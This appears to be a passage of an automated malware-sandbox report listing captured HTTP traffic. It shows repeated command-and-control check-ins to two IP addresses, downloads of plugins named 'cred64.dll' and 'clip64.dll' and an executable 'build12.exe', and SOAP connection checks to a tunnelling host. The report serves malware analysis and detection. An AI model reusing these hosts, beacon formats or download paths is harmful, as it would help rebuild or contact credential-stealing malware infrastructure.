Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: GET /enigma/Plugins/cred64.dll HTTP/1.1Host: 193.233.132.167
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: GET /lend/build12.exe HTTP/1.1Host: 193.233.132.167
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 31 38 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000187001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: GET /lend/build12.exe HTTP/1.1Host: 193.233.132.167If-Modified-Since: Fri, 19 Apr 2024 00:20:52 GMTIf-None-Match: "6621b8e4-17e00"
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: b-stamps.gl.at.ply.gg:30946Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /enigma/Plugins/clip64.dll HTTP/1.1Host: 193.233.132.167
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: b-stamps.gl.at.ply.gg:30946Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-AliveData Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 2f 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><CheckConnect xmlns="http://tempuri.org/"/></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 31 38 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000188001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: b-stamps.gl.at.ply.gg:30946Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 5Cache-Control: no-cacheData Raw: 77 6c 74 3d 31 Data Ascii: wlt=1
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: b-stamps.gl.at.ply.gg:30946Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-AliveData Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 2f 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><CheckConnect xmlns="http://tempuri.org/"/></s:Body></s:Envelope>
